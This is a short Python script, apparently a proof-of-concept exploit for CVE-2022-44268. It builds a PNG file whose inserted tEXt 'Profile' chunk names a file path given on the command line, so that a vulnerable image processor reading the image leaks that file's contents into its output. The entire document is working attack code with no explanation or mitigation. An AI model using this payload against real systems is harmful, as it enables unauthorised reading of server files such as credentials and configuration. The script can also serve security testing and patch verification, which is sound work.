#!/bin/python3 from sys import argv from png import Reader, write_chunks if len(argv) < 2: print("Usage: CVE-2022-44268.py ") exit(1) LFI = argv[1] reader = Reader(filename='source.png') chunks = list(reader.chunks()) chunk_field = (b"tEXt", f"Profile\x00{LFI}".encode()) chunks.insert(1, chunk_field) file = open('output.png', 'wb') write_chunks(file, chunks) file.close()